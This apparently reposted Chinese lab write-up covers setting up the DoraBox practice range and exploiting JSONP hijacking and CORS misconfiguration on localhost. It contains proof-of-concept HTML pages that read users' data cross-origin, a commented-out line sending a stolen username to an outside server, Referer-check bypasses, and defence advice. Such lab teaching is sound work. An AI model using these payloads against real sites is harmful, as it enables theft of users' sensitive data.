-013-
DoraBox靶场搭建
DoraBox地址:
https://github.com/0verSp4ce/DoraBox
一键建站程序AppServDownload:
https://link.zhihu.com/?target=http%3A//prdownloads.sourceforge.net/appserv/appserv-win32-8.5.0.exe%3Fdownload
安装AppServ默认安装解压DoraBox到appserver的www目录下
修改conn.php配置文件
<?php
define("DB_HOST", "127.0.0.1"); //mysql_host
define("DB_USER", "root"); //mysql_user_name
define("DB_PASS", "12345678"); //mysql_user_pwd
define("DB_NAME", "pentest"); //mysql_db_name
?>
登录mysql 输入账号root的密码12345678
创建数据库pentest
create database pentest;
打开数据库pentest
use pentest;
导入数据到pentest库
source D:applicationAppServwwwDoraBoxpentest.sql
访问dorabox:
http://localhost/DoraBox/
JSONP劫持
说明
JSONP跨域漏洞,我们知道同源策略SOP(Same origin policy)是一种约定,它是浏览器最基本的安全功能,不同域之间相互请求资源算跨域,为了能跨域获取资源产生了JSONP。JSONP劫持,算是一种读取型的CSRF,在恶意的网页中构造恶意的JS代码,当用户点击该网页,由于目标站点存在JSONP劫持漏洞,因此会将用户的信息劫持,最后将用户的信息发送到攻击者的服务器。
漏洞利用
构造攻击代码
jsonp.html
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>JSONP劫持测试</title>
</head>
<body>
<script>
function test(data){
// 获取数据发送到攻击者服务器
// $.get('http://www.php.com:8088/index.html?value='+data.username);
// 弹出劫持的数据
alert(JSON.stringify(data));
}
</script>
<!-- 访问有jsonp漏洞的服务器-->
<script src="http://localhost/DoraBox/csrf/jsonp.php?callback=test"></script>
</body>
</html>
打开就可以获取到敏感信息
有Referer限制
当JSONP服务端会校验Referer字段,也有一些特定绕过方式
1、空Referer
有时候JSONP服务端对Referer进行了校验,但并未对空Referer进行校验,此时我们就可以使用置空的Referer请求来绕过。
实现发送空Referer的请求的方法有三种:
-
使用iframe标签+javascript伪协议
-
使用meta标签
-
从HTTPS向HTTP发起请求
2、Referer过滤不严格
防御建议
-
若可行,则使用CORS替换JSONP实现跨域功能;
-
应用CSRF防御措施来调用JSON文件:限制Referer 、CSRF Token等;
-
严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );
-
严格过滤 callback 函数名及JSON里数据的输出;
CORS劫持
CORS(跨域资源共享——Cross-origin resource sharing)是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。
先添加Origin头测试下
cors.html
<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
<title>cors exp</title>
</head>
<body>
<script type="text/javascript">
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === 4) {
alert(xhr.responseText);
}
}
xhr.open("GET","http://localhost/DoraBox/csrf/userinfo.php");
xhr.send();
}
cors();
</script>
</body>
</html>
之间访问,可以看到弹出敏感信息
下面有一些返回标识帮助我们快速确认一个网站是否存在cors漏洞:
最好的攻击案例:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
可能存在利用点:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
配置失误,但是几乎无法利用:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
或者只有一个:
Access-Control-Allow-Origin: *
Burpsuite自动增加Origin
在burpsuite勾选替换条件,自动增加Origin
可以看响应Access-Control-Allow-Origin是否有foo.example.org
cors漏洞危害
攻击者构造恶意的html页面,利用链接诱导受害者进行点击,从而获取到受害者的敏感信息
相比之下,CORS较JSONP更为复杂,JSONP只能用于获取资源(即只读,类似于GET请求),而CORS支持所有类型的HTTP请求功能更多。
修复防范
关闭非正式开启的CORS
白名单限制:定义“源”的白名单,避免使用正则表达式,不要配置Access-Control-Allow-Origin为通配符*或null,严格效验来自请求数据包中Origin的值
仅允许使用安全协议,避免中间人攻击
彻底的返回Vary: Origin右边,突破攻击者利用浏览器缓存进行攻击
避免将Access-Control-Allow-Credentials标头设置为true 替换值,跨域请求若不存在必要的凭证数据,则根据实际情况将其设置为false
限制跨域请求允许的方法,Access-Control-Allow-Methods替代的减少所涉及的方法降低风险
限制浏览器缓存期限:建议通过Access-Control-Allow-Methods和Access-Control-Allow-Headers限制,限制浏览器缓存信息的时间。通过配置Access-Control-Max-Age标头来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间的值,确保浏览器在短时间内可以更新策略
仅在接收到跨域请求时才配置有关于跨域的头部,并确保跨域请求是合法的源,以减少攻击者恶意利用的可能性。
LINKS
web靶场-DoraBox 多拉盒靶场搭建
https://zhuanlan.zhihu.com/p/595352236
JSONP跨域访问漏洞
https://blog.csdn.net/Echo__h/article/details/130465489
浅谈JSONP跨域漏洞
https://www.rstk.cn/news/742219.html?action=onClick
浅谈CORS跨域请求的简单请求和非简单请求https://www.jianshu.com/p/ebd498cc3c52
---
#END#
原文始发于微信公众号(一盅清茶):writeup:DORABOX靶场CSRF(跨站请求伪造)实验
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论